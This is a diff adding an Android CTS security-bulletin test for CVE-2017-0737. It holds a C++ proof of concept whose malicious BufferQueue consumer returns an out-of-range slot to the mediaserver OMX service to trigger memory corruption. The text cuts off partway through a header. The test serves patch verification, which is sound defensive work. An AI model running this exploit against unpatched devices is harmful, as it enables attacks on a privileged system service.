[RESTRICT AUTOMERGE]: CTS test for Android Security CVE-2017-0737

Test: cts-tradefed run cts -m CtsSecurityBulletinHostTestCases -t android.security.cts.Poc17_08#testPocCVE_2017_0737
Bug:72379247
Bug:37563942
Change-Id: If3917c99bfbdb0e92b8d9f38a92c9d471d4f0975
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5fb0f40..a708d40 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -127,6 +127,7 @@
         <!--__________________-->
         <!-- Bulletin 2017-08 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0737->/data/local/tmp/CVE-2017-0737" />
         <option name="push" value="CVE-2017-0727->/data/local/tmp/CVE-2017-0727" />
 
         <!--__________________-->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/Android.mk
new file mode 100644
index 0000000..ea61f5d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0737
+LOCAL_SRC_FILES := \
+    poc_BufferQueueConsumer.cpp \
+    poc_OccupancyTracker.cpp \
+    poc.cpp \
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= $(JNI_H_INCLUDE) \
+    $(TOP)/frameworks/av/media/libstagefright \
+    $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES += \
+    libstagefright \
+    libutils \
+    libbinder \
+    libgui \
+    libstagefright_foundation \
+    libmedia \
+    libcutils \
+    libui \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc.cpp
new file mode 100644
index 0000000..9d995e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc.cpp
@@ -0,0 +1,189 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <jni.h>
+
+#include <binder/IServiceManager.h>
+#include <utils/String8.h>
+#include <utils/NativeHandle.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/stagefright/foundation/ADebug.h>
+#include <OMX_Component.h>
+
+#include <ui/Rect.h>
+#include <ui/GraphicBuffer.h>
+#include <gui/IGraphicBufferAlloc.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <gui/Surface.h>
+#include <gui/ISurfaceComposer.h>
+#include <gui/SurfaceComposerClient.h>
+#include <gui/BufferQueue.h>
+#include <gui/BufferQueueProducer.h>
+#include <gui/GLConsumer.h>
+
+#include "poc_BufferQueueConsumer.h"
+#include "poc_FrameTimestamps.h"
+#include "poc_BufferQueueCore.h"
+
+using namespace android;
+
+template <class T>
+static void InitOMXParams(T* params) {
+  params->nSize = sizeof(T);
+  params->nVersion.s.nVersionMajor = 1;
+  params->nVersion.s.nVersionMinor = 0;
+  params->nVersion.s.nRevision = 0;
+  params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message>& messages __unused) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+enum {
+  ON_FRAME_AVAILABLE = IBinder::FIRST_CALL_TRANSACTION,
+  ON_BUFFER_RELEASED,
+  ON_SIDEBAND_STREAM_CHANGED,
+  GET_FRAME_TIMESTAMPS
+};
+
+class MyBpConsumerListener : public BpInterface<IConsumerListener> {
+ public:
+  MyBpConsumerListener(const sp<IBinder>& impl)
+      : BpInterface<IConsumerListener>(impl) {}
+
+  virtual ~MyBpConsumerListener();
+
+  virtual void onFrameAvailable(const BufferItem& item) {
+    Parcel data, reply;
+    data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
+    data.write(item);
+  }
+
+  virtual void onBuffersReleased() {
+    Parcel data, reply;
+    data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
+    remote()->transact(ON_BUFFER_RELEASED, data, &reply, IBinder::FLAG_ONEWAY);
+  }
+
+  virtual void onSidebandStreamChanged() {
+    Parcel data, reply;
+    data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
+    remote()->transact(ON_SIDEBAND_STREAM_CHANGED, data, &reply,
+                       IBinder::FLAG_ONEWAY);
+  }
+
+  virtual bool getFrameTimestamps(uint64_t frameNumber,
+                                  FrameTimestamps* outTimestamps) const {
+    Parcel data, reply;
+    status_t result =
+        data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
+    if (result != NO_ERROR) {
+      return false;
+    }
+    result = data.writeUint64(frameNumber);
+    if (result != NO_ERROR) {
+      return false;
+    }
+    result = remote()->transact(GET_FRAME_TIMESTAMPS, data, &reply);
+    if (result != NO_ERROR) {
+      return false;
+    }
+    bool found = false;
+    result = reply.readBool(&found);
+    if (result != NO_ERROR) {
+      return false;
+    }
+    if (found) {
+      result = reply.read(*outTimestamps);
+      if (result != NO_ERROR) {
+        return false;
+      }
+    }
+    return found;
+  }
+};
+
+MyBpConsumerListener::~MyBpConsumerListener() {}
+
+sp<BufferQueueCore> core;
+sp<IGraphicBufferProducer> producer;
+sp<IGraphicBufferConsumer> consumer;
+
+void createBufferQueue(sp<IGraphicBufferProducer>* outProducer,
+                       sp<IGraphicBufferConsumer>* outConsumer) {
+
+  core = new BufferQueueCore(NULL);
+  sp<IGraphicBufferProducer> producer(new BufferQueueProducer(core));
+  sp<IGraphicBufferConsumer> consumer(new EvilBufferQueueConsumer(core));
+
+  *outProducer = producer;
+  *outConsumer = consumer;
+}
+
+int main() {
+  createBufferQueue(&producer, &consumer);
+
+  sp<IServiceManager> sm = defaultServiceManager();
+
+  sp<IBinder> binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> mediaPlayerService =
+      interface_cast<IMediaPlayerService>(binder);
+
+  if (mediaPlayerService == NULL) {
+    return 0;
+  }
+
+  sp<IOMX> service = mediaPlayerService->getOMX();
+  if (service == NULL) {
+    return 0;
+  }
+
+  IOMX::node_id node = 0;
+  int port_index = 0;
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+  std::string str = "OMX.google.vp8.encoder";
+  const char* name = str.c_str();
+  status_t err = service->allocateNode(name, observer, NULL, &node);
+  if (err != OK) {
+    return 0;
+  }
+  MetadataBufferType type = kMetadataBufferTypeInvalid;
+  service->setInputSurface(node, port_index, consumer, &type);
+  bool t = true;
+  service->setInternalOption(node, port_index, IOMX::INTERNAL_OPTION_SUSPEND, &t, sizeof(t));
+
+  BufferItem item;
+  static_cast<MyBpConsumerListener>(
+      IInterface::asBinder(core->mConsumerListener))
+      .onFrameAvailable(item);
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.cpp
new file mode 100644
index 0000000..a76b586
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.cpp
@@ -0,0 +1,544 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <inttypes.h>
+
+#define private public
+
+#include <gui/BufferItem.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IProducerListener.h>
+#include "poc_BufferQueueConsumer.h"
+#include "poc_BufferQueueCore.h"
+
+#include <binder/IPCThreadState.h>
+#include <binder/PermissionCache.h>
+#include <private/android_filesystem_config.h>
+
+namespace android {
+
+EvilBufferQueueConsumer::EvilBufferQueueConsumer(
+    const sp<BufferQueueCore>& core)
+    : mCore(core), mSlots(core->mSlots), mConsumerName() {}
+
+EvilBufferQueueConsumer::~EvilBufferQueueConsumer() {}
+
+status_t EvilBufferQueueConsumer::acquireBuffer(BufferItem* outBuffer,
+                                                nsecs_t expectedPresent,
+                                                uint64_t maxFrameNumber) {
+  {
+    outBuffer->mGraphicBuffer = new GraphicBuffer;
+    outBuffer->mFence = Fence::NO_FENCE;
+    outBuffer->mSlot = 0x666666;
+    return NO_ERROR;
+  }
+
+  int numDroppedBuffers = 0;
+  sp<IProducerListener> listener;
+  {
+    Mutex::Autolock lock(mCore->mMutex);
+
+    int numAcquiredBuffers = 0;
+    for (int s : mCore->mActiveBuffers) {
+      if (mSlots[s].mBufferState.isAcquired()) {
+        ++numAcquiredBuffers;
+      }
+    }
+    if (numAcquiredBuffers >= mCore->mMaxAcquiredBufferCount + 1) {
+      return INVALID_OPERATION;
+    }
+
+    bool sharedBufferAvailable =
+        mCore->mSharedBufferMode && mCore->mAutoRefresh &&
+        mCore->mSharedBufferSlot != BufferQueueCore::INVALID_BUFFER_SLOT;
+
+    if (mCore->mQueue.empty() && !sharedBufferAvailable) {
+      return NO_BUFFER_AVAILABLE;
+    }
+
+    BufferQueueCore::Fifo::iterator front(mCore->mQueue.begin());
+
+    if (expectedPresent != 0 && !mCore->mQueue.empty()) {
+      const int MAX_REASONABLE_NSEC = 1000000000ULL;
+
+      while (mCore->mQueue.size() > 1 && !mCore->mQueue[0].mIsAutoTimestamp) {
+        const BufferItem& bufferItem(mCore->mQueue[1]);
+
+        if (maxFrameNumber && bufferItem.mFrameNumber > maxFrameNumber) {
+          break;
+        }
+
+        nsecs_t desiredPresent = bufferItem.mTimestamp;
+        if (desiredPresent < expectedPresent - MAX_REASONABLE_NSEC ||
+            desiredPresent > expectedPresent) {
+          break;
+        }
+
+        if (!front->mIsStale) {
+          mSlots[front->mSlot].mBufferState.freeQueued();
+
+          if (!mCore->mSharedBufferMode &&
+              mSlots[front->mSlot].mBufferState.isFree()) {
+            mSlots[front->mSlot].mBufferState.mShared = false;
+          }
+
+          if (!mSlots[front->mSlot].mBufferState.isShared()) {
+            mCore->mActiveBuffers.erase(front->mSlot);
+            mCore->mFreeBuffers.push_back(front->mSlot);
+          }
+
+          listener = mCore->mConnectedProducerListener;
+          ++numDroppedBuffers;
+        }
+
+        mCore->mQueue.erase(front);
+        front = mCore->mQueue.begin();
+      }
+
+      nsecs_t desiredPresent = front->mTimestamp;
+      bool bufferIsDue = desiredPresent <= expectedPresent ||
+                         desiredPresent > expectedPresent + MAX_REASONABLE_NSEC;
+      bool consumerIsReady =
+          maxFrameNumber > 0 ? front->mFrameNumber <= maxFrameNumber : true;
+      if (!bufferIsDue || !consumerIsReady) {
+        return PRESENT_LATER;
+      }
+
+    }
+
+    int slot = BufferQueueCore::INVALID_BUFFER_SLOT;
+
+    if (sharedBufferAvailable && mCore->mQueue.empty()) {
+      mCore->waitWhileAllocatingLocked();
+
+      slot = mCore->mSharedBufferSlot;
+
+      outBuffer->mGraphicBuffer = mSlots[slot].mGraphicBuffer;
+      outBuffer->mFence = Fence::NO_FENCE;
+      outBuffer->mCrop = mCore->mSharedBufferCache.crop;
+      outBuffer->mTransform =
+          mCore->mSharedBufferCache.transform &
+          ~static_cast<uint32_t>(NATIVE_WINDOW_TRANSFORM_INVERSE_DISPLAY);
+      outBuffer->mScalingMode = mCore->mSharedBufferCache.scalingMode;
+      outBuffer->mDataSpace = mCore->mSharedBufferCache.dataspace;
+      outBuffer->mFrameNumber = mCore->mFrameCounter;
+      outBuffer->mSlot = slot;
+      outBuffer->mAcquireCalled = mSlots[slot].mAcquireCalled;
+      outBuffer->mTransformToDisplayInverse =
+          (mCore->mSharedBufferCache.transform &
+           NATIVE_WINDOW_TRANSFORM_INVERSE_DISPLAY) != 0;
+      outBuffer->mSurfaceDamage = Region::INVALID_REGION;
+      outBuffer->mQueuedBuffer = false;
+      outBuffer->mIsStale = false;
+      outBuffer->mAutoRefresh = mCore->mSharedBufferMode && mCore->mAutoRefresh;
+    } else {
+      slot = front->mSlot;
+      *outBuffer = *front;
+    }
+
+
+    if (!outBuffer->mIsStale) {
+      mSlots[slot].mAcquireCalled = true;
+      if (mCore->mQueue.empty()) {
+        mSlots[slot].mBufferState.acquireNotInQueue();
+      } else {
+        mSlots[slot].mBufferState.acquire();
+      }
+      mSlots[slot].mFence = Fence::NO_FENCE;
+    }
+
+    if (outBuffer->mAcquireCalled) {
+      outBuffer->mGraphicBuffer = NULL;
+    }
+
+    mCore->mQueue.erase(front);
+
+    mCore->mDequeueCondition.broadcast();
+
+    mCore->mOccupancyTracker.registerOccupancyChange(mCore->mQueue.size());
+
+  }
+
+  if (listener != NULL) {
+    for (int i = 0; i < numDroppedBuffers; ++i) {
+      listener->onBufferReleased();
+    }
+  }
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::detachBuffer(int slot) {
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mIsAbandoned) {
+    return NO_INIT;
+  }
+
+  if (mCore->mSharedBufferMode || slot == mCore->mSharedBufferSlot) {
+    return BAD_VALUE;
+  }
+
+  if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+    return BAD_VALUE;
+  } else if (!mSlots[slot].mBufferState.isAcquired()) {
+    return BAD_VALUE;
+  }
+
+  mSlots[slot].mBufferState.detachConsumer();
+  mCore->mActiveBuffers.erase(slot);
+  mCore->mFreeSlots.insert(slot);
+  mCore->clearBufferSlotLocked(slot);
+  mCore->mDequeueCondition.broadcast();
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::attachBuffer(
+    int* outSlot, const sp<android::GraphicBuffer>& buffer) {
+
+  if (outSlot == NULL) {
+    return BAD_VALUE;
+  } else if (buffer == NULL) {
+    return BAD_VALUE;
+  }
+
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mSharedBufferMode) {
+    return BAD_VALUE;
+  }
+
+  int numAcquiredBuffers = 0;
+  for (int s : mCore->mActiveBuffers) {
+    if (mSlots[s].mBufferState.isAcquired()) {
+      ++numAcquiredBuffers;
+    }
+  }
+
+  if (numAcquiredBuffers >= mCore->mMaxAcquiredBufferCount + 1) {
+    return INVALID_OPERATION;
+  }
+
+  if (buffer->getGenerationNumber() != mCore->mGenerationNumber) {
+    return BAD_VALUE;
+  }
+
+  int found = BufferQueueCore::INVALID_BUFFER_SLOT;
+  if (!mCore->mFreeSlots.empty()) {
+    auto slot = mCore->mFreeSlots.begin();
+    found = *slot;
+    mCore->mFreeSlots.erase(slot);
+  } else if (!mCore->mFreeBuffers.empty()) {
+    found = mCore->mFreeBuffers.front();
+    mCore->mFreeBuffers.remove(found);
+  }
+  if (found == BufferQueueCore::INVALID_BUFFER_SLOT) {
+    return NO_MEMORY;
+  }
+
+  mCore->mActiveBuffers.insert(found);
+  *outSlot = found;
+
+  mSlots[*outSlot].mGraphicBuffer = buffer;
+  mSlots[*outSlot].mBufferState.attachConsumer();
+  mSlots[*outSlot].mNeedsReallocation = true;
+  mSlots[*outSlot].mFence = Fence::NO_FENCE;
+  mSlots[*outSlot].mFrameNumber = 0;
+
+  mSlots[*outSlot].mAcquireCalled = false;
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::releaseBuffer(int slot, uint64_t frameNumber,
+                                                const sp<Fence>& releaseFence,
+                                                EGLDisplay eglDisplay,
+                                                EGLSyncKHR eglFence) {
+
+  if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS ||
+      releaseFence == NULL) {
+    return BAD_VALUE;
+  }
+
+  sp<IProducerListener> listener;
+  {
+    Mutex::Autolock lock(mCore->mMutex);
+
+    if (frameNumber != mSlots[slot].mFrameNumber &&
+        !mSlots[slot].mBufferState.isShared()) {
+      return STALE_BUFFER_SLOT;
+    }
+
+    if (!mSlots[slot].mBufferState.isAcquired()) {
+      return BAD_VALUE;
+    }
+
+    mSlots[slot].mEglDisplay = eglDisplay;
+    mSlots[slot].mEglFence = eglFence;
+    mSlots[slot].mFence = releaseFence;
+    mSlots[slot].mBufferState.release();
+
+    if (!mCore->mSharedBufferMode && mSlots[slot].mBufferState.isFree()) {
+      mSlots[slot].mBufferState.mShared = false;
+    }
+    if (!mSlots[slot].mBufferState.isShared()) {
+      mCore->mActiveBuffers.erase(slot);
+      mCore->mFreeBuffers.push_back(slot);
+    }
+
+    listener = mCore->mConnectedProducerListener;
+
+    mCore->mDequeueCondition.broadcast();
+  }
+
+  if (listener != NULL) {
+    listener->onBufferReleased();
+  }
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::connect(
+    const sp<IConsumerListener>& consumerListener, bool controlledByApp) {
+
+  if (consumerListener == NULL) {
+    return BAD_VALUE;
+  }
+
+
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mIsAbandoned) {
+    return NO_INIT;
+  }
+  mCore->mConsumerListener = consumerListener;
+  mCore->mConsumerControlledByApp = controlledByApp;
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::disconnect() {
+
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mConsumerListener == NULL) {
+    return BAD_VALUE;
+  }
+
+  mCore->mIsAbandoned = true;
+  mCore->mConsumerListener = NULL;
+  mCore->mQueue.clear();
+  mCore->freeAllBuffersLocked();
+  mCore->mSharedBufferSlot = BufferQueueCore::INVALID_BUFFER_SLOT;
+  mCore->mDequeueCondition.broadcast();
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::getReleasedBuffers(uint64_t* outSlotMask) {
+
+  if (outSlotMask == NULL) {
+    return BAD_VALUE;
+  }
+
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mIsAbandoned) {
+    return NO_INIT;
+  }
+
+  uint64_t mask = 0;
+  for (int s = 0; s < BufferQueueDefs::NUM_BUFFER_SLOTS; ++s) {
+    if (!mSlots[s].mAcquireCalled) {
+      mask |= (1ULL << s);
+    }
+  }
+
+  BufferQueueCore::Fifo::iterator current(mCore->mQueue.begin());
+  while (current != mCore->mQueue.end()) {
+    if (current->mAcquireCalled) {
+      mask &= ~(1ULL << current->mSlot);
+    }
+    ++current;
+  }
+
+  *outSlotMask = mask;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setDefaultBufferSize(uint32_t width,
+                                                       uint32_t height) {
+  if (width == 0 || height == 0) {
+    return BAD_VALUE;
+  }
+
+
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->mDefaultWidth = width;
+  mCore->mDefaultHeight = height;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setMaxBufferCount(int bufferCount) {
+
+  if (bufferCount < 1 || bufferCount > BufferQueueDefs::NUM_BUFFER_SLOTS) {
+    return BAD_VALUE;
+  }
+
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mConnectedApi != BufferQueueCore::NO_CONNECTED_API) {
+    return INVALID_OPERATION;
+  }
+
+  if (bufferCount < mCore->mMaxAcquiredBufferCount) {
+    return BAD_VALUE;
+  }
+
+  int delta =
+      mCore->getMaxBufferCountLocked(
+          mCore->mAsyncMode, mCore->mDequeueBufferCannotBlock, bufferCount) -
+      mCore->getMaxBufferCountLocked();
+  if (!mCore->adjustAvailableSlotsLocked(delta)) {
+    return BAD_VALUE;
+  }
+
+  mCore->mMaxBufferCount = bufferCount;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setMaxAcquiredBufferCount(
+    int maxAcquiredBuffers) {
+
+  if (maxAcquiredBuffers < 1 ||
+      maxAcquiredBuffers > BufferQueueCore::MAX_MAX_ACQUIRED_BUFFERS) {
+    return BAD_VALUE;
+  }
+
+  sp<IConsumerListener> listener;
+  {
+    Mutex::Autolock lock(mCore->mMutex);
+    mCore->waitWhileAllocatingLocked();
+
+    if (mCore->mIsAbandoned) {
+      return NO_INIT;
+    }
+
+    if (maxAcquiredBuffers == mCore->mMaxAcquiredBufferCount) {
+      return NO_ERROR;
+    }
+
+    int acquiredCount = 0;
+    for (int slot : mCore->mActiveBuffers) {
+      if (mSlots[slot].mBufferState.isAcquired()) {
+        acquiredCount++;
+      }
+    }
+    if (acquiredCount > maxAcquiredBuffers) {
+      return BAD_VALUE;
+    }
+
+    if ((maxAcquiredBuffers + mCore->mMaxDequeuedBufferCount +
+         (mCore->mAsyncMode || mCore->mDequeueBufferCannotBlock ? 1 : 0)) >
+        mCore->mMaxBufferCount) {
+      return BAD_VALUE;
+    }
+
+    int delta = maxAcquiredBuffers - mCore->mMaxAcquiredBufferCount;
+    if (!mCore->adjustAvailableSlotsLocked(delta)) {
+      return BAD_VALUE;
+    }
+
+    mCore->mMaxAcquiredBufferCount = maxAcquiredBuffers;
+    if (delta < 0) {
+      listener = mCore->mConsumerListener;
+    }
+  }
+  if (listener != NULL) {
+    listener->onBuffersReleased();
+  }
+
+  return NO_ERROR;
+}
+
+void EvilBufferQueueConsumer::setConsumerName(const String8& name) {
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->mConsumerName = name;
+  mConsumerName = name;
+}
+
+status_t EvilBufferQueueConsumer::setDefaultBufferFormat(
+    PixelFormat defaultFormat) {
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->mDefaultBufferFormat = defaultFormat;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setDefaultBufferDataSpace(
+    android_dataspace defaultDataSpace) {
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->mDefaultBufferDataSpace = defaultDataSpace;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setConsumerUsageBits(uint32_t usage) {
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->mConsumerUsageBits = usage;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setTransformHint(uint32_t hint) {
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->mTransformHint = hint;
+  return NO_ERROR;
+}
+
+sp<NativeHandle> EvilBufferQueueConsumer::getSidebandStream() const {
+  Mutex::Autolock lock(mCore->mMutex);
+  return mCore->mSidebandStream;
+}
+
+status_t EvilBufferQueueConsumer::getOccupancyHistory(
+    bool forceFlush, std::vector<OccupancyTracker::Segment>* outHistory) {
+  Mutex::Autolock lock(mCore->mMutex);
+  *outHistory = mCore->mOccupancyTracker.getSegmentHistory(forceFlush);
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::discardFreeBuffers() {
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->discardFreeBuffersLocked();
+  return NO_ERROR;
+}
+
+void EvilBufferQueueConsumer::dump(String8& result, const char* prefix) const {
+  const IPCThreadState* ipc = IPCThreadState::self();
+  const pid_t pid = ipc->getCallingPid();
+  const uid_t uid = ipc->getCallingUid();
+  if ((uid != AID_SHELL) &&
+      !PermissionCache::checkPermission(String16("android.permission.DUMP"),
+                                        pid, uid)) {
+    result.appendFormat(
+        "Permission Denial: can't dump BufferQueueConsumer "
+        "from pid=%d, uid=%d\n",
+        pid, uid);
+    android_errorWriteWithInfoLog(0x534e4554, "27046057", uid, NULL, 0);
+  } else {
+    mCore->dump(result, prefix);
+  }
+}
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.h
new file mode 100644
index 0000000..8d39c62
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.h
@@ -0,0 +1,103 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+
+#include <gui/BufferQueueDefs.h>
+#include <gui/IGraphicBufferConsumer.h>
+#include "poc_OccupancyTracker.h"
+
+namespace android {
+
+class BufferQueueCore;
+
+class EvilBufferQueueConsumer : public BnGraphicBufferConsumer {
+ public:
+  EvilBufferQueueConsumer(const sp<BufferQueueCore>& core);
+  virtual ~EvilBufferQueueConsumer();
+
+  virtual status_t acquireBuffer(BufferItem* outBuffer, nsecs_t expectedPresent,
+                                 uint64_t maxFrameNumber = 0) override;
+
+  virtual status_t detachBuffer(int slot);
+
+  virtual status_t attachBuffer(int* slot, const sp<GraphicBuffer>& buffer);
+
+  virtual status_t releaseBuffer(int slot, uint64_t frameNumber,
+                                 const sp<Fence>& releaseFence,
+                                 EGLDisplay display, EGLSyncKHR fence);
+
+  virtual status_t connect(const sp<IConsumerListener>& consumerListener,
+                           bool controlledByApp);
+
+  virtual status_t disconnect();
+
+  virtual status_t getReleasedBuffers(uint64_t* outSlotMask);
+
+  virtual status_t setDefaultBufferSize(uint32_t width, uint32_t height);
+
+  virtual status_t setMaxBufferCount(int bufferCount);
+
+  virtual status_t setMaxAcquiredBufferCount(int maxAcquiredBuffers);
+
+  virtual void setConsumerName(const String8& name);
+
+  virtual status_t setDefaultBufferFormat(PixelFormat defaultFormat);
+
+  virtual status_t setDefaultBufferDataSpace(
+      android_dataspace defaultDataSpace);
+
+  virtual status_t setConsumerUsageBits(uint32_t usage);
+
+  virtual status_t setTransformHint(uint32_t hint);
+
+  virtual sp<NativeHandle> getSidebandStream() const;
+
+  virtual status_t getOccupancyHistory(
+      bool forceFlush,
+      std::vector<OccupancyTracker::Segment>* outHistory);
+
+  virtual status_t discardFreeBuffers() override;
+
+  #pragma clang diagnostic ignored "-Woverloaded-virtual"
+  virtual void dump(String8& result, const char* prefix) const;
+
+
+  virtual status_t releaseBuffer(int buf, uint64_t frameNumber,
+                                 EGLDisplay display, EGLSyncKHR fence,
+                                 const sp<Fence>& releaseFence) {
+    return releaseBuffer(buf, frameNumber, releaseFence, display, fence);
+  }
+
+  virtual status_t consumerConnect(const sp<IConsumerListener>& consumer,
+                                   bool controlledByApp) {
+    return connect(consumer, controlledByApp);
+  }
+
+  virtual status_t consumerDisconnect() { return disconnect(); }
+
+
+ private:
+  sp<BufferQueueCore> mCore;
+
+  BufferQueueDefs::SlotsType& mSlots;
+
+  String8 mConsumerName;
+
+};
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueCore.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueCore.h
new file mode 100644
index 0000000..fe9c679
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueCore.h
@@ -0,0 +1,188 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_GUI_BUFFERQUEUECORE_H
+#define ANDROID_GUI_BUFFERQUEUECORE_H
+
+#include <gui/BufferItem.h>
+#include <gui/BufferQueueDefs.h>
+#include <gui/BufferSlot.h>
+#include "poc_OccupancyTracker.h"
+
+#include <utils/Condition.h>
+#include <utils/Mutex.h>
+#include <utils/NativeHandle.h>
+#include <utils/RefBase.h>
+#include <utils/String8.h>
+#include <utils/StrongPointer.h>
+#include <utils/Trace.h>
